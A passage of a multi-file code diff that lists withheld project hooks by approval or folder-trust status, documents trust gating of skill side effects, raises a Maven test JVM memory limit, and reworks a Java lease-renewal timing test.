[
config.getWithheldProjectHooks?.() ??
config.getTrustWithheldProjectHooks?.() ??
config.getProjectHooks(),
HooksConfigSource.Project,
],
];
for (const extension of config.getExtensions()) {
if (extension.isActive && extension.hooks) {
scopes.push([extension.hooks, HooksConfigSource.Extensions]);
}
}
return settingsRows(scopes, gates);
}
function settingsRows(
scopes: ReadonlyArray<[unknown, HooksConfigSource]>,
gates: HooksListingGates,
pendingApproval: boolean | 'rejected' = false,
trustGated = false,
): HooksListingRow[] {
const rows: HooksListingRow[] = [];
// The registry drops a hook whose source, event, identity, matcher and
@@ -349,6 +399,8 @@ function rowsFromSettings(
source,
origin: 'registry',
entryEnabled: true,
...(pendingApproval ? { pendingApproval } : {}),
...(trustGated ? { trustGated: true } : {}),
},
gates,
),
@@ -358,14 +410,7 @@ function rowsFromSettings(
}
};
addScope(config.getSystemHooks(), HooksConfigSource.System);
addScope(config.getUserHooks(), HooksConfigSource.User);
addScope(config.getProjectHooks(), HooksConfigSource.Project);
for (const extension of config.getExtensions()) {
if (extension.isActive && extension.hooks) {
addScope(extension.hooks, HooksConfigSource.Extensions);
}
}
for (const [hooks, source] of scopes) addScope(hooks, source);
return rows;
}
@@ -423,6 +468,31 @@ export function buildHooksListing(config: HooksListingConfig): HooksListing {
),
);
}
// Withheld project hooks are not in the registry; list them once, with the
// most specific reason: a pending/rejected approval decision outranks the
// trust gate (the decision is the remedy the user can act on right now).
const withheld = config.getWithheldProjectHooks?.();
if (withheld) {
listing.rows.push(
...settingsRows(
[[withheld, HooksConfigSource.Project]],
gates,
config.isProjectHooksRejected?.() ? 'rejected' : true,
),
);
} else {
const trustWithheld = config.getTrustWithheldProjectHooks?.();
if (trustWithheld) {
listing.rows.push(
...settingsRows(
[[trustWithheld, HooksConfigSource.Project]],
{ ...gates, trustedFolder: false },
false,
true,
),
);
}
}
const sessionId = config.getSessionId();
if (sessionId) {
+3 -1
View File
@@ -327,7 +327,9 @@ ${escapeXml(entry.description)}
* `<repo>/.qwen/skills/` regardless of folder trust because its body only
* influences the model, but its side effects grant tool approvals or run
* repo-supplied commands, so they need explicit folder trust. Disabling
* folder trust does not authorize these side effects. User, extension
* folder trust does not authorize these side effects. Settings-file project
* hooks additionally need the user's approval (`Config.getProjectHooks()`);
* skill and subagent frontmatter hooks do not yet. User, extension
* and bundled skills are not repo-controlled and are unaffected.
*/
export function canApplySkillSideEffects(
@@ -13,6 +13,7 @@
<qwen.cli.entry>${managed.module.root}/../../dist/cli.js</qwen.cli.entry>
<maven.install.skip>true</maven.install.skip>
<maven.deploy.skip>true</maven.deploy.skip>
<argLine></argLine>
</properties>
<dependencies>
<dependency>
@@ -170,6 +171,8 @@
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<!-- The suite's single fork outgrows the default quarter of a 16 GB hosted runner. -->
<argLine>@{argLine} -XX:MaxRAMPercentage=40</argLine>
<failIfNoTests>true</failIfNoTests>
<excludedGroups>fault-gate</excludedGroups>
<systemPropertyVariables>
@@ -28,9 +28,14 @@ import org.springframework.beans.factory.ObjectProvider;
import java.time.Clock;
import java.time.Duration;
import java.util.List;
import java.util.Optional;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyBoolean;
import static org.mockito.ArgumentMatchers.anyLong;
@@ -2963,12 +2968,19 @@ class OperationRetryTerminalStateTest {
// Every renewal succeeds, so the renewals counted below are real
// renewals of a held lease, not ticks of one already lost (review
// round 1, R1-7).
List<Long> renewedAt = new CopyOnWriteArrayList<>();
CountDownLatch enoughRenewals = new CountDownLatch(8);
when(sessions.renewLifecycleOperation(eq("tenant"), eq("session"),
eq("op-action"), anyString(), eq(3L),
eq(Duration.ofMillis(30)))).thenReturn(true);
// The Harness answers 200 after outlasting the 30ms lease.
eq(Duration.ofMillis(30)))).thenAnswer(ignored -> {
renewedAt.add(System.nanoTime());
enoughRenewals.countDown();
return true;
});
// The Harness answers 200 once the call has outlasted the 30ms lease
// by several renewals, however slowly a loaded runner schedules them.
doAnswer(invocation -> {
Thread.sleep(150);
assertThat(enoughRenewals.await(30, TimeUnit.SECONDS)).isTrue();
return null;
}).when(harness).resolveAction("tenant", "session", "action-1", body);
@@ -2979,16 +2991,21 @@ class OperationRetryTerminalStateTest {
try {
coordinator.dispatch("tenant", "session", "op-action");
// The renewal period is a third of the lease (10ms here), so
// the 150ms call leaves room for about 14 renewals. A period
// equal to the lease renews on the expiry boundary, where
// scheduler jitter lets the lease lapse mid-call, yet still fits
// about five renewals into the window; eight sits above that and
// well below the expected count (review round 3, R3-2; review
// round 1, R1-7).
verify(sessions, atLeast(8)).renewLifecycleOperation(
eq("tenant"), eq("session"), eq("op-action"), anyString(),
eq(3L), eq(Duration.ofMillis(30)));
// The renewal period is a third of the lease (10ms here). A period
// equal to the lease renews on the expiry boundary, where scheduler
// jitter lets the lease lapse mid-call (review round 3, R3-2). Load
// only stretches a fixed-delay gap, so the shortest one bounds the
// period (review round 1, R1-7).
long shortestGapNanos = Long.MAX_VALUE;
for (int index = 1; index < renewedAt.size(); index++) {
shortestGapNanos = Math.min(shortestGapNanos,
renewedAt.get(index) - renewedAt.get(index - 1));
}
assertThat(shortestGapNanos)
.isLessThan(TimeUnit.MILLISECONDS.toNanos(20));
// The answer is still recorded budget-exempt afterwards.
verify(sessions).retryOperation(eq("tenant"), eq("session"),
eq("op-action"), anyString(), eq(3L), anyLong(),